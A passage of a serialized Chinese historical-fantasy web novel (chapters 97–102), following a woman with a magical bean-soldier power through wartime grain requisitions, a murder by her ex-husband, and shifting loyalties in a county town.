“报官了。来了名差爷,草草做了记录,登记备案。还说现在大部分衙役,分成三班不间断巡城,维持城门外秩序,防止越聚越多的流民生事。”
“咱们这种小案件,就别浪费本就不多的衙门人力,自己把家守好……”
“苏丫头,你说,这世道若继续混乱下去,该如何是好?唉!”
苏蓉拿三个碗,将带回来的肉菜分成三份,又去厨房盛来三碗张如英熬好温着的粥,淡淡道:“张婶子,别管以后了,咱们先把现在过好!”
等张如英乖乖入座,和方小兰一起捧起碗,苏蓉不放心多提醒一句。
“房子在那跑不掉,家具打坏能买新的,反正也没好东西放那边,以后就别去了。等局势稳定下来再说。”
当初她们决定逃离宜阳县,连房子都打算放弃了呢,还心疼这几张桌子板凳!
张如英还是懊恼,怎么说那也是她亲手一点点布置起来的小店。
“早知道只交半年租金!这一口气交了一年,真不划算。”
苏蓉低头吃饭。想的却是时局越发动荡,衙门肉眼可见的粮食减少。这么多流民围在城外想进来,轰又轰不走,难道要一直养着他们?
有一天宜阳县养不起他们了,该怎么办!
吃完饭,洗簌完毕,苏蓉走回自己卧室。却见派出去寻找药草的铜甲兵,刚好返回报道。在地面留下一堆东西,躬身消失。
这回又找到什么药草?
第97章 人参!
她蹲下身子,习惯性翻检一堆药草。
本来一如既往没抱希望,扒拉开上面的药草,起突然发现里面躺着一段带长须的根系药材,心脏骤缩。
小心翼翼捧在手中瞧,上面还裹着湿润的泥土。
肥硕根部泛着温润白光。芦头虬结,如古树年轮。无数粗细不一的长须缠绕,珍珠疙瘩饱满,百年光阴凝于此。
这……
是人参啊!
传说中的人参!
铜甲兵终于给她弄来了穿越女必备的发家之物!
不确定是不是过了百年,观察品相应该差不离。
在现代看过新闻,一株超两百克的百年野山参,拍卖出一千八百万的天价。兑换成这时代银子,大约九万两。
可能不值这么多,也足以买下数座豪华酒楼。处理得当,她后半生完全可以躺平。
当然,得先晒干。听说生石灰有助保存?
苏蓉怕触碰多了伤到人参,赶紧找块柔软帕子,将人参轻轻擦干净放上面。车轱辘在狭小的卧室转上一圈。
放院子晒不行,只能放在卧室阴干。
张婶子为人有分寸,没得她同意绝不会进她卧室。以后可以让小兰帮忙守着,小兰信得过,而且非常听她话……
蓦地,沉寂已久的系统声音响起来,打断已完全进入癫狂状态的苏蓉。
“撒豆成兵金手指升级!”
“两粒豆子撒下,可同时生成甲兵两人!当前每天三次,一次四个时辰。”
苏蓉顿然清醒。
她这没出息的小市民,得到株野山参便“范进中举”!
最大仰仗是金手指怎么能忘了呢?有豆子兵在,持续升级,多少野山参弄不来!
太不敢想、不敢展望未来了。这金手指若给男子,指不定早就想办法,去建功立业了吧?
她淡定地把人参放在床头柜上。
现在宜阳县乱成一团,还是等以后太平了再出手吧。
若有个空间就好了……
转头啐一口自己:得寸进尺!有撒豆成兵的金手指,已是八辈子修来的福。过分贪婪会遭报应的!
等方小兰进屋,她把人拉到身边给看人参,认真道:“小兰,这是姐姐最珍视的东西。以后白日姐姐去上工,你便好好在家看守它。”
“咱们姐妹后半生的幸福生活,全指望它了!”
方小兰懵懂点头。
“张婶子能说吗?”
苏蓉摇头:“不说!咱姐妹一家人,张婶子一家人。等以后城里太平了,张婶子会离开的。”
她和张如英算是朋友、盟友,但没到无话不说、后背相托付的地步。
做人得多长个心眼。
她有意在张婶子面前暴露一点实力。一方面固然是安张婶子的心;另一方面也是暗示张婶子不要生出多余心思。
合作关系除了包容真诚,也要适当保持距离才能持久。
此后,随着天气转凉进入冬季,频繁的前线战事逐渐缓解下来,交战双方都需要从后方调运粮草,养精蓄锐,等待来年开春再战。
叶清辞致力于将众多流民审查清楚来历后,把身世清白者,安排到宜阳县下属的十多个小村庄落户。
如丰定村这般,外来人口占多数。换任里正,蒲家从此一蹶不振,再不复当初的嚣张跋扈。
魏氏带着几个媳妇低调做人。好好把唯一孙子养大,才能顶门立户。
老金氏差点被流民袭村吓破胆,和金安福两口子死皮赖脸窝在邓宅,不愿离开。还时不时挑刺陶姨娘没管好家。
真是请神容易送神难。
邓教谕和陶姨娘窝了一肚子火。碍于金竹海仗势欺人,只得出钱在县城置办一处两进宅子,哄着邓慧带自己婆母男人搬了出去。
就在他们搬出后不久,刘夫人在后宅咽下最后一口气。
邓慧的哭闹起不了任何作用。隔天,早就用钱说通刘氏宗族的邓教谕,将陶姨娘扶了正。
宜阳县如今这乱糟糟的局面,叶清辞哪有闲工夫关注属下后宅事。邓教谕悄悄找到代管户籍的小吏,直接将陶姨娘妾室的身份改了。
从此人前人后称陶夫人。
陶夫人有子,又小意温柔侍奉邓教谕满意,比起当初的刘夫人,得人心多了。也算后宅妾室励志的典范。
自然,这些事与己无关,苏蓉听听便罢。倒是张如英见时局逐步平稳,市集陆陆续续有商家开门做生意,动心思想回张记炊香阁。
苏蓉觉得应该慎重。
至少叶清辞依旧紧锣密鼓安排县城布防,她们不能失了警戒心,开店不急一时。
午后,县城难得一见晴天。冬日阳光和煦撒向大地,暖融融烤着人寒凉脊背。苏蓉特地端了盆水在庭院。
一来方便清洁走廊柱头,二来正大光明好晒太阳。
不过,叶清辞倒是带着傅振意外地提早回衙门。身后尾随郑校尉、金竹海一行。
金竹海看见院里干活的苏蓉,不经意多打量两眼。
他这以前从没放在心上的前妻,不知是不是县衙风水养人,出落得越发标志了,黑中带俏。
倘若能再养白些,不比那些大户人家小姐差……
惊觉自己想法的金竹海,不由自主愣了神。
曾嬷嬷赶紧推苏蓉一把:“快去给大人们端茶送水,用那套白玉瓷壶!”
她和另一名粗使婆子脸上皱皮拉呱,满带苦相。出面干这种活,会让客人以为县署內宅无人,掉大人身价。
苏蓉去,好歹拿得出手。
苏蓉没有拒绝,直接走去茶水小间,里面温着热水。
她加炭烧开水,拿出一套四个杯盏,放上茶叶。叶清辞和傅振杯中放上好的;郑校尉杯中一般;独金竹海杯子除了茶叶,还添上点“料”。
暂时不解决这渣渣,还指望她侍候?做梦!
她淡定地端着托盘入内。
只见正屋四人分宾主坐定,正自面红耳赤争论什么粮食问题,见她进门闭嘴。她故作若无其事,一盏盏将茶送到他们手边,然后屈膝退出。
走出门,有意放慢脚步,果然听到傅振愤怒开口。
“宜阳只是小县又非大城。现在城外聚集这么多嗷嗷待哺的难民呢!三皇子遣使,要从我等周边城镇,征调上万石粮食去前线?”
“上牙碰下牙,他说得轻松!不要老百姓们活了?”
第98章 各怀算计
苏蓉一听,脑后一凉,急忙加快脚步,离开正屋门口。继续回到岗位上干活,还在想傅振道出的信息。
调集上万石粮食?
那可不是小数目!
宜阳县非鱼米之乡。寻常时期抽调走几百上千石粮,算正常。但上万?
这是要将宜阳县逼至绝境啊!
本来为了救济流民,叶清辞开仓放粮就不少,平时还想方设法号召大户捐粮。这上万石调粮任务压下来,得把宜阳县整个榨干!
流民不用救了,老百姓不用活了!
资源全部拿去填补战争那台无底洞绞肉机,民不聊生,狼烟四起,大靖转瞬落到亡国边缘。
苏蓉暗暗运气。
这什么二皇子三皇子四皇子就不是东西!为了抢夺那把椅子,打打杀杀。乌蛮人顺势入侵不管,百姓饱受战火之苦流离失所也不管。
就不知叶清辞四人聚集一起,想怎么应对此事?
郑校尉与叶清辞不睦,但同属于宜阳县地方官。为保证地方利益,他们不至于死板执行三皇子的交粮命令吧?
到时没有粮食安抚流民,百姓生存不下去,乱起来对他们没有分毫好处。
苏蓉低头擦廊柱。
张婶子还想开店,看这样子,非但不能开,她们甚至得做好准备,随时去逃荒。
一旦宜阳县粮尽,城内这点守兵,哪能阻止饿红眼的民众发狂。
正屋大厅同样气氛凝重。
郑校尉怒发冲冠:“叶县令,现在不是你我如何选择站位的问题,而是这伪皇……三皇子不欲令咱们安生!”
“上万石粮食?亏他说得出口!这是将咱们宜阳县,当成弃子往死里压榨啊!别说交不出这么多粮,就算交出了,下一道命令是什么?”
“兵源?身为一县父母官,你要在宜阳强行征兵吗?”
说这种话倒不是郑校尉爱民如子。而是,他在宜阳县多年经营,将本地资源无论人还是财,当成自己的。
三皇子要从宜阳县割肉,他没有好处,那指定不行!
他倒是想献给二皇子四皇子,博一个从龙之功。只是现在时机不成熟,加上叶清辞阻扰,得谋定而后动。
当务之急,要阻止叶清辞将宜阳县的资源,听令输送给三皇子。
不好明说,便扯着为宜阳县为老百姓的仁义大旗,劝说叶清辞。
叶清辞是真为百姓考虑。
官仓粮不多,若硬要凑那一万石粮,势必搜刮民脂民膏。因流民之故,宜阳县百姓本就受了拖累过得不好。再横征暴敛,非得官逼民反不可。
不过,他不能明确回绝三皇子的使者。
三皇子大军,目前在前线与二、四皇子的军队对峙。
不说因为少了这万石粮陷入困境。单说如果激怒对方,回军攻打宜阳县,也够他喝一壶的。
记住本站: 别看郑校尉、金竹海之流跳腾得欢,驻军所这群从没上过战场的兵丁,只怕一对阵敌人,立马焉了。
名义上他是宜阳县父母官,事到临头,背责任的还得是他。
所以,郑校尉说什么他不予理会。只默默在心中盘算,该如何妥善处理此事。不给或少给粮,将三皇子应付过去。
金竹海目光闪动,献上一策。
“郑大人,叶大人,咱们向城中大户募粮吧!说明情况。宜阳县有难,大家理应团结互助。倘若宜阳县保不住,他们的田产房产同样保不住。”
“三皇子那里,我们可以先送上小部分粮,犒劳三军。至于剩下的,能拖则拖。”
缓冲的时间段,足以让他们派出去的人联系上二、四皇子。到时给三皇子来个里应外合,两头包饺子,正好献上投名状。
至于叶清辞,便是办事不力的替罪羊。
他和郑校尉早就私下商量好。见叶清辞闻言沉思,彼此交换一个得意的眼神。
“两位大人,发动城中富户捐粮这事,就交给卑职办!哪怕筹集出几百上千石粮,对三皇子那边,也有个交代。”
金竹海主动请缨。
“现在入冬,天气一天比一天寒冷。城外流民呆不住,迟早向內腹地迁徙。只要应付过这一关,让宜阳县得以缓和,局势便能慢慢平稳。”
叶清辞摸自己下巴,难得正眼扫视金竹海。
没想到此人还有这番见解?以为这蛮夫的心眼子,全用到怎么对付无辜了。
燕彬被派出去买粮,至今没有音信。巧妇难为无米之炊。为稳固动荡的宜阳县,向大户募粮势在必行。
金竹海愿意出面当这个恶人,倒省他的事。
想着叶清辞颔首。
“那筹粮这件事,交给金督尉办理。只一点,不得强征,以大家自己意愿为主!”
他担心金竹海借题发挥,中饱私囊。
金竹海皮笑肉不笑。
届时权力交到他手上,他说白,手底下人敢说黑?叶清辞分身不暇,忙着出城安抚流民。城内这块,可就归他金竹海管了!
是不是大户,意愿不意愿,他和郑校尉说了算。
目送两人扬长离开,傅振忍不住握紧拳头。
“大人,募粮这种大事,怎能让金竹海这小子督办?他若从中牟利,强行摊派任务给县内大户,反而坏官府名声,引发民众不满!”
“天下熙熙,皆为利来;天下攘攘,皆为利往。”
叶清辞淡淡含笑。
“宜阳县不少大户,投靠郑校尉。听说郑校尉自己,名下也有不少产业。我若纵容金竹海去募粮,倒想看看他们之间,是彼此推诿争夺呢,还是只抢掠普通百姓?”
傅振恍然大悟。
若是前者,他们正好坐观狗咬狗。
若是后者,那对不起。师出有名,将金竹海和郑校尉一并拿下!
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不然,叶清辞身为县令,行动却处处遭两人掣肘。不能发号施令,难以保卫宜阳县。
现在乱世了,三皇子这新帝没有威信,二、四皇子争天下。不管叶清辞最后选择哪条路,至少宜阳县这块根基,他要把控好。
有筹码,方可谈条件。
郑校尉、金竹海之流野心勃勃,若真如他们愿,老百姓才遭殃!
屋外,金竹海有意放慢脚步,停在埋头做事的苏蓉面前。
苏蓉发现那双蹬着牛皮靴的五十码大脚,手上动作下意识一僵。
抬起头,正撞入金竹海带着得意、嘲讽,隐含两分说不清道不明情绪的笑容中。
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第99章 给你良妾名分
苏蓉用力抽抹布,被金竹海故意踩住了。而且她匍匐在地擦地板,像对他五体投地似的。
苏蓉拼命忍耐、吸气。
不明白这渣男又是哪根筋不对,故意来挑衅她!难不成想让她看看,他现在成了七品督尉,而她仅是个衙门杂役?
这种炫耀真幼稚!
她打算使出吃奶的劲抽出抹布,能不能带动这人渣摔个四脚朝天。却听金竹海慢悠悠开口。
“苏氏,离开金家,你后悔了没有?”
苏蓉一愣。
这渣男说的什么话?
她站起来,退后几步,以保持视线平行。顺便准备见势不妙,及时逃进正屋喊救命。冷冷开口。
“后悔?离开虎狼窝,我求之不得!何况,不是你们一家人,把我赶出来的吗?”
金竹海哼一声。
片刻,些微别扭道:“当初你不敬婆母,不悌弟妹,才逼得我出休书。你若现在悔过自新……也不是没有转圜余地!”
听了这话,苏蓉不禁瞪大眼睛。
(⊙o⊙)啥?
她方才听到了个啥?
这渣男竟然流露出想破镜重圆的意思?
两人之间,不都到了想弄死对方的地步?
转圜余地?这渣男是不是有病!还是说一直没找到合适的继任,想把她诓回去再做牛马,出气的沙包?
果然,金竹海高昂起头,一脸施舍的表情。
“瞧你现在,一个女人独门立户,过日子很艰难吧。”
“虽说以你的身份,不配成为我金某的妻子。但念在你我曾经三年的情分,我可以给你一个良妾的名分。”
苏蓉……
“怎么样,要不要考虑下?”
金竹海拇指摸索食指套着新买的玉扳指,傲慢中含有隐秘的得意与小小期待。
他将来指定妻妾成群,其实后宅多苏蓉一个不多。
既然重新有了感觉,那他便不会为难自己纠结。传扬出去,外人还会觉得他心善,念及旧情,担心前妻在外受苦,又接回来了。
他等待着苏蓉惊喜的表情和感激涕零的反应。
然而下一刻,回应他的是苏蓉弯腰端起地上一盆污水,泼了他个透心凉——
“哗啦”!
金竹海简直不能置信,慌乱跳脚抹一脸一头的水。他都勉强自己先低头了,这女人竟然不识好歹?
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他忍不住暴露本性,想给苏蓉一拳头。
果然对这女人就不能有好声气!他好心可怜她当下人的苦楚,想重新给她安排个安稳环境,结果对方毫不领情。
当然他拳头没能落下去。手腕被从后面伸来的一只手紧紧捉住。
回过头,叶清辞和傅振来到庭院,两人神色不善地瞅着他。
叶清辞冷冷道:“金督尉,好大威风啊?来我这衙门,打我县署內宅的人?”
金竹海恼羞成怒,用力抽回手,指向苏蓉。
“叶大人还是好好管教你手下的下人吧!笨手笨脚,泼我一身水?”
他没脸说明原因,愤恨看苏蓉一眼,拂袖离去。前面郑校尉回过头来,在看他这边动静。顶头上司面前,不能再丢脸!
苏氏今日拒绝她,总有她后悔时。
叶清辞和傅振看着苏蓉。
苏蓉低了头,同样没脸细说刚才的事。有金竹海这种人渣前夫,多提一个字都觉得脏嘴。
屈了屈膝,咬牙道:“大人,民女无状。”
叶清辞微不可查地叹息一声,挥手:“你继续去忙吧。记得……下次躲着点他走。”
他不是苏蓉的谁,没资格过问更多。
回到下人房的苏蓉,越想越生气。真是给那渣男脸了,敢这般羞辱她!
拿出豆子,几次欲召唤豆子兵。最后,勉强忍耐下来。
宜阳县此时够乱,她不能再给叶清辞添麻烦。何况金竹海身为督尉,有维护县城稳定的作用。将其杀了,或许会影响大局。
家国利益面前,个人得失靠后。
次日上工,苏蓉错愕地发现县城更乱了。
驻军所的军士,在大街小巷忙碌穿插,积极向大户“募”粮。
等她晚上回到家,听张如英说自家白天也来了伙人,敲开门定义她们是富户,要求捐粮。
张如英把苏蓉在衙门做工的身份搬出来,对方才悻悻离开。
苏蓉立刻意识到,郑校尉、金竹海等人,想借此事发国难财。却不知叶清辞为何不闻问,难不成真想献给三皇子万石粮食?
那老百姓怎么办?
第三天,第四天……
走街窜户的兵丁,如同蝗虫,肆虐在宜阳县的各家门户中。
好说话的,“捐”够钱粮就罢了。敢反抗的,军士们推开拦阻的户主,直接冲进屋翻箱倒柜。
说是捐粮,实际进了屋,见值钱东西也抢。
一时间,城内鸡飞狗跳,人心惶惶。
记住本站: 平民们只管倚门看热闹,见军士们大箱小箱,从有钱富户里抬出各种金银珠宝,粮食衣物,还会拍手称快。
殊不知,等某些人发现从大户里再也榨不出油水,下一个便轮到他们。
人的贪欲,永无止境。
一开始是劝“捐”,随后是迫“捐”。再往后,军士胆子大了,自己也想要捞一把,于是——
抢!
整个事态严重畸变,局势如同脱缰野马,冲向不可控的地步。
碰巧这时城外流民们不知听到什么风声,说县城不会再施粥,而是要彻底关闭城门戒严,将他们抛弃在这个寒冷的冬季。
这下子,许多指望官府救济安排的人,彻底绷不住了。与把守城门的官兵爆发出强烈冲突。
受不住驻军所大肆掠夺的人家要逃出宜阳县,外面的流民想冲进城大吃大喝。
原本胸有成竹的叶清辞也没想到,他低估人心的贪婪!
短短几天,郑校尉、金竹海等人所作所为,将县城民众彻底推向水深火热。
当叶清辞得到报告,驻军所的人以抗拒新帝命令、拒绝交公粮的罪名,开始掳掠某些大户人家的女眷。他知道,等待的时机终于成熟。
民间舆情汹汹,达成不可调和的矛盾。他迅速下令关闭城门,带上三班衙役,赶赴出事地点。
而这起因,是金竹海心怀鬼胎。有意怂恿郑校尉忘乎所以,借“捐粮”名义,针对平时与自己不和的城中富户。
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第100章 天要变了
前几家畏惧郑校尉权势,闭着眼献财消灾。但郑校尉今日带人,登门“拜访”的这家不同寻常。
其在京城是有做大官的亲戚为靠山,背景雄厚。他们经商,时不时向京城献贡。若非内乱,郑校尉连他家大门都迈不进去!
故而,郑校尉一撕破脸,这户人家也不惯着。当即召唤出家中培养的家丁,数十条手执棍棒砍刀的大汉,堵在门口,与驻军所军士对峙。
并且这户人家管事机灵,还使人飞报叶清辞。
一县之长都没发话,他一个驻军所校尉,有什么资格在宜阳县耀武扬威?还打他家美婢主意,想屁吃!
郑校尉就是趁乱铲除异己。平日这些人没少在生意场上跟他对着干,现在有三皇子征粮令为借口,那真是拿着鸡毛当令箭。
眼见对方还敢反抗,郑校尉正中下怀,指挥手下推搡家丁冲进大门。这是要坐实这家人罪状,来个先抄家后通报。
眼见现场乱作一团,郑校尉带着军士与家丁们打得难分难解。金竹海不怀好意上前,挤到郑校尉身后。
混乱中,他悄悄摸出随身带的匕首,一刀捅进郑校尉后心!
忙着奔赴眼前利益的郑校尉,根本没想到亲手提拔的得力干将,会在身后捅他腰子?
他艰难地忍着剧痛回头,看清金竹海一双冒着凶光的眼睛,颤抖着举高手中刀。却在下一刻瞪圆眼睛,轰然倒下。
金竹海借扶住郑校尉之际,将匕首擦干净,迅速回鞘塞入靴筒中。然后抱着郑校尉尚有余温的尸体,痛心疾首地大喊大叫。
“不好了兄弟们,郑校尉被他们杀了!这伙犯上作乱的贼徒,今日别放过他们——”
刷地拔出佩剑,一剑砍掉旁边拿着棍棒抵抗的一名家丁人头!
无论驻军所军士,还是那大户人家,双方人马都被突如其来的变故惊呆了。
本来只属于骚乱、争执,郑校尉一死,这性质直接升级恶化到不可救药的地步。
那户人家主事颇有脑子,立马暗中派人通知后宅,收拾细软带女眷孩子从后门逃跑。前院自己带家丁誓死反抗,以拖住官兵行动。
金竹海指挥军士抓人,心头乐开了花。
趁乱打劫这大户人家财富,不过是他计划中一环。他真正目的是除掉郑校尉。这样一来,驻军所兵力,理所当然归他掌控。
朝廷自顾不暇,短期内根本无法派下任校尉过来。而他暗中已向岽州的中郎将季隆献投名状,表示愿意效忠。
这宜阳县的校尉一职,舍他其谁?
等拿了兵权,叶清辞不过是空壳县令。届时随便找借口处理掉,宜阳县就是他一个人的。
至于三个皇子,见风使舵应付,说不定他金家还能攀升到令人意想不到的高度!
越想越得意,金竹海挥舞佩剑斩杀家丁,腥风血雨里,差点狂笑出声。
“住手!”
叶清辞带人赶到,看到满地鲜血和尸体,既惊且愤怒。以为只是简单狗咬狗,没想到双方争斗如此惨烈。
看样子就算没有他暗中放纵,这伙人早就面和心不和久矣。
此处大户人家,除了跑掉的,被杀掉砍伤的,已经没有能站立的人了。
金竹海现在一点不怕叶清辞,手提血迹斑驳的长剑。
“叶大人,这群刁民胆大包天,竟敢杀了郑校尉,你可不能放过他们!”
不等叶清辞回应,立马又道:“现在驻军所群龙无首,我作为督尉,宣布暂代校尉一职。”
叶清辞丢个眼色,傅振带来的人,迅速分散开来,呈扇形将金竹海包围。金竹海面上变色。
“我身为督尉,校尉被害,临时接替其位置是职责所在,叶清辞你这是什么意思?”
“金竹海,你和郑校尉滥用职权,借三皇子征粮名义,打劫百姓,中饱私囊。”
叶清辞冷冷道:“如今与豢养恶奴的富户火拼,导致两败俱伤,你还想趁机接管驻军所?视我这县令为何物!”
老百姓远远围观热闹。见县衙人马赶到,方才壮胆子聚拢。听到叶清辞发话,这几日深受其害的人家,立即在人群中响应发声。
“宜阳县我们只认叶大人治理!”
“还以为之前强行征粮,是叶大人首肯的呢,大伙儿敢怒不敢言。原来是驻军所干的好事?”
“叶县令才是宜阳县父母官!驻军所的人越俎代庖,这是想造反?”
“我们只听叶大人的……”
金竹海听着民意汹汹的嘈杂议论,内心有点慌乱。手按剑柄,强自镇定。
“我金竹海只是听命行事。当初向富户募粮的主意,叶大人你也没反对?”
“再说,朝廷严禁当地官员私下调动驻军所兵马!叶大人,你反对我暂代校尉一职,莫非你也有不臣之心,妄图掌控宜阳县的兵权?”
叶清辞冷冰冰瞥他一眼。
“本县同意的是募,可没同意强征!你和郑校尉仗持手握兵权,肆意鱼肉百姓,打劫城中商户,乱世中制造动荡,其心当诛!”
“来人!”
他手指金竹海厉声下令:“将此人扣下。待我审明罪状,报上峰裁夺!”
傅振刷地长剑出鞘,准备带衙役一拥而上。
早就看不顺眼这小子,终于逮到时机。
金竹海急了,招呼愣住的一群驻军所士兵。
“你们还傻着干什么?这狗官分明是见郑校尉被害,想趁此夺取咱们驻军所!朝廷严令军政分开,他们这是有不臣之心,兄弟们,别上当啊!”
他在驻军所苦心经营,是有一定威信的。带出来这部分人,皆忠于郑校尉。郑校尉死了,自然听他这个郑校尉心腹旳。
一时间,军卒们纷纷举起武器,与傅振等人对峙。
眼瞅一场血腥的拼杀少不了,突然,一骑马飞奔而至。带来的信息惊诧双方。
“报——大人!岽州中郎将季隆,率兵三千驰援我县,距北城门仅五十里地了!”
驰援?
叶清辞惊疑。
金竹海狂喜。
不管季中郎将这种时候带兵来宜阳县,有什么不可告人的私心,至少明面上意味着新帝、三皇子想加强对邻接前线城镇的控制。
中郎将位居六品,管理地方军事,手握至少两个城镇的兵力。非常时间,县令也得听其指挥。
季隆到来,意味着宜阳县的天,真正要变了!
第101章 我是小白脸?
叶清辞放弃这种时候继续跟金竹海算账。使个眼色,带傅振走到一边。
“傅振,你派人去接应燕彬。让他将采购回的大批粮食,另外找个安稳地方藏起来。”
既然很快控制不住宜阳县局面,他便没必要倾注家族力量,将资源投入水中。
傅振点头:“大人,你自己多加小心!”
望一眼得意扬扬,召集驻军所军士,准备出城去迎接中郎将的金竹海,冷哼一声,上马悄然而去。
叶清辞看着不知所措的衙役们和窃窃私语的百姓,深喟一声,上马。
“列队出城,我们也去迎接中郎将!”
官大一级压死人,何况手握两城兵力的季隆。除非他想明目张胆造反,不然,县令这个芝麻官,必须对之恭敬。
欣赏他才华的先帝薨逝,相交莫逆的太子紧随其后,他的底气,其实只剩家族资源。
次日上工的苏蓉,莫名发现县衙天变了。
沿途多不少军士巡逻。进入衙门,发现除了衙役,还有不少面生、神情剽悍的甲士站岗。看那服色,又不像本城驻军所的。
她怀着疑惑心情,一路到县署內宅,进门又遭到守门军士盘诘。拿着她的腰牌,反复验证。
傅振走出来,声音隐含一丝不快。
“别验了,这位苏娘子,是近身服侍我们大人的!”
军士这才将木牌子还给苏蓉。
苏蓉忐忑不安跟随傅振进门。
刚想开口,只见院子里每处角落,还立着多位官兵。正屋内传出陌生男子声如洪钟的笑声,喧宾夺主。她顿时闭嘴,小心看傅振一眼。
傅振压低声音。
“岽州季中郎将巡城至此,这两日会住在后衙。你小心侍候,不要轻易往正屋去。大人交代,你若感觉不习惯,先回家!”
苏蓉心想,中郎将?那是比县令大的官,叶清辞也不得不听令对方吗?
而傅振下一句话,直接引发她高度警惕。
“姜厨娘今晨已告病假。”
苏蓉瞬间头皮发麻,意识到危险。
姜厨娘虽然年纪大点,但风韵犹存。尤其她在县衙担负两任厨房管事,待人处事嗅觉敏锐。
昨日还好好的,今日季中郎将入住衙门,姜厨娘便病倒了。很明显这伶俐厨娘,是在躲避什么,明哲保身。
再一联想傅振的提醒,苏蓉当即立断。
“傅爷,我家中有事,明日开始,告假几天!”
傅振满眼欣慰,脸露孺子可教的笑容:“好,回头我转告大人。”
但今天来都来了,不能马上掉头走,只能站好最后一班岗。
两人正小声说话,身后突然传来一道冷森的声音。
“荡妇,怪不得不愿意回我身边,原来是又勾搭上一个小白脸!”
苏蓉和傅振同时惊诧,回头看向身后。
敢情是金竹海踱步门外,发现两人并肩猫在厢房,挨得很近且头并头,不知说什么私密话。一时间怒火中烧,从嘴里蹦出这么一句。
苏蓉……
“姓金的你是不是有狂犬症?逮谁咬谁!我现在跟你,有半毛钱关系吗?”
傅振倒是没顾上第一时间生气。而是忍不住用手摸了摸自己脸,嘴角裂开,差点笑到后颈窝。
“从来都是大人被人当作小白脸!想不到傅某有朝一日,这脸不白,也能沾上小白脸三个字?”
当然,和金竹海那大块头相比,他确实显得较单薄。
傅振先畅笑三声,紧接着手指金竹海,嘴角压不下来。
“金竹海,你今日让傅爷我心情好,打你不出重手,就小施惩戒吧!”
话音未落,身形如箭蹿向金竹海,一拳就朝对方脸上砸过去!
金竹海本来是见不惯顺嘴一骂,心思全集中到苏蓉身上去了。恨不得抓过这不守妇道的女人,痛揍一顿。绝没想到与傅振冲突升级。
毕竟傅振身为县尉,还是叶清辞身边的人。
没想到傅振说动手便动手,嘴上笑模样,打人不带丁点迟疑。
“碰”的一声,他慌忙举手迎战。
傅振出拳是虚招,跳起来飞脚一踢,将金竹海庞巨的身子,踹出厢房门!
金竹海站不住脚,踉跄倒退,背抵廊柱,方才卸下傅振的一脚力道。见左右前后侍立的军士惊讶看过来,自觉受了奇耻大辱,他哪里忍得?
手撑廊柱,借反弹力“哇呀呀”朝傅振扑回去。
两人拳脚相交,瞬间战成一团。
金竹海力大,出招虎虎生风。傅振敏捷,腾挪转移,肆意戏耍金竹海。
不过苏蓉是外行,担忧地扑在门边,只怕傅振吃亏。
军士们围过来。一边是县尉,一边是督尉,不知两人为什么突然打起来,也不好劝架。
声音惊动正屋内议事的叶清辞和季隆,放下手头工作忙出来看究竟。见此情形,叶清辞皱眉呵斥一声。
“住手!”
季隆反倒是哈哈大笑,双手叉腰。
“这两位是在切磋武艺吗?有趣有趣,让他们打着看看!”
趁机判断下叶清辞手下人的实力,也好评估投诚过来金竹海的价值。
但他们二人出现,傅振和金竹海不好继续放肆。收了拳脚,双双上前请罪。
“大人,卑职正安排下人做事。这金督尉突然跑来,骂人家是荡妇,卑职是小白脸,勾搭苟且。这能忍?卑职要用大粪填满他那张臭嘴!”
金竹海鼻青脸肿,形象和心情此刻极度不美好。
随口一句,没能出气反而在傅振手底下吃了亏。
原以为傅振平日吊儿郎当,武艺比不过燕彬,甚至不如叶清辞。没想到那是错觉。对上自己,傅振绰绰有余。
他大开大合地出招,碰上傅振这种敏捷灵动型的,对方就像是猴子似的戏耍他,还能见缝插针给他几拳几脚。
早知道就不凭一时意气,讥刺他和那个贱人了!
叶清辞闻言,面色数变。碍于季中郎将在侧,忍下杀心道:“金竹海,这里是衙门,不是你为所欲为的驻军所!季大人还在这里呢?”
季隆些微失望。
金竹海既然不是傅振的对手,无用之人投效到自己手下有什么用?
察觉季隆神情不以为然,金竹海暗暗咬牙。都怪苏氏那灾星,只要牵扯上她,自己就要倒霉!
如今得想个另外的法子,讨季中郎将欢心了。
第102章 混乱
苏蓉躲在厢房内,假装忙碌擦拭家具,没有出去。
从门后悄悄观察这位季中郎将面相,驴脸人消瘦,眼皮耷拉浮肿一圈,青中透黑。虽为武将,肌肉却松弛得厉害。
唯一凸显的,便是长期身居高位,养出的那种傲慢凌人气势了。看人时充满审视与不动声色的算计。
果然不好相与。
巳时,苏蓉被调至厨房打下手。另外调了两个手脚尚算麻利的粗使婆子,入县署內宅帮忙。
叶清辞设宴,要为季中郎将接风洗尘。
季隆看看桌子上简单的饭菜,再扫视周围来往忙碌的县衙杂役,心里十分不得劲。
如今宜阳县粮食吃紧,百姓生活清苦,县太爷招待他用简餐就算了。怎么端茶送水的下人,也是老的老,丑的丑,一个个相貌清奇?
难为他这个方从如云美人堆里出来的,眼睛真是受了番荼毒。
叶清辞一本正经坐着,尽地主之谊。心头冷哼:早听说这季中郎将好色,尤其喜欢虐待后宅妇人,他才不会坐视手下人遭殃。
但凡衙内年轻有几分姿色的杂役,统统不让靠近县署內宅。苏娘子直接让傅振偷偷告知,明天不用来了。
这种安排,应能最大限度避免麻烦。
金竹海、傅振、还有季隆带来的两员亲信副将陪坐。金竹海如扑鼻之猫瞪视傅振。但傅振暗示性一撸拳头,他又不情不愿低头。
打不过,只得认耸。
傅振真欺负他,想必季隆和叶清辞也不会为他做主。
金竹海满脸陪笑逢迎季隆,心里下定决心,一定要把这位中郎将,牢牢攀附住。
对方的喜好,他可打听得一清二楚!
苏蓉在厨房忙碌到下工才回家,没踏进县署內宅一步。
张如英听了苏蓉述说,点头扪心:“防范于未然,这是对的。苏丫头,正好你在家休养一段时间。”
隔了几天,傅振登门。
一是把苏蓉的工钱代领送过来,二是顺便说说如今县衙的情况。
为了便于接管驻军所,季隆没有下榻在县衙。如今形势微妙,季隆既不表明态度附庸新帝,也不高举抗击二、四皇子的大旗。
令人怀疑他想脚踏两只船,两边讨好。等待时机再决定站位。
这样一来,叶清辞和金竹海都想把控的驻军所兵力,季隆同样想抓在自己手里。
金竹海倒是一门心思讨好季隆。而叶清辞在宜阳县深受百姓爱戴,驻军所也有部分势力支持叶清辞。所以,季隆要全面掌控县城,并非易事。
当然,傅振不会说得那么直白。某些信息,是苏蓉自己揣测推断出来的。
傅振还透露出最重要的消息。
二、四皇子大军,势如破竹攻城略地。新帝所遣军队,在前线吃了败仗,目前退守宁平城一代。
战事胶着,京城方面有求和之心,在派人与二、四皇子接洽和谈。
短期内,双方都无法顾及到蠢蠢欲动的周边城镇。
这种时候,稍微有点实力的地方官府,都在盘算自家心里的小九九。
